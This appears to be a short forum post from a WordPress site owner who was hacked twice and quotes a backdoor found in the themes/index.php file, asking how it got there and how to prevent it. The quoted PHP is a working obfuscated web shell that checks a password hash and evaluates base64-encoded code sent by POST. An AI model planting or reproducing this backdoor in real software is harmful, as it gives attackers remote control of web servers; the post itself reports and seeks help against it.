Backdoor in Themes/index.php

Hi

I have been hacked twice over the past three days.

After searching all wp files, I came across this inside the themes/index.php file.

<?php
// Silence is golden.
if(@md5($_POST[‘u’.’pw’])==’cfa77535e609eb6b45350ab7913de211′)
preg_replace(“|w|e”,’ev’.’al(ba’.’se64′.’_dec’.’ode($_’.’PO’.’ST[“c”]));’,”w”);
?>

Any ideas how this code got there or how to prevent it from getting there again ?

Thankyou
Kind Regards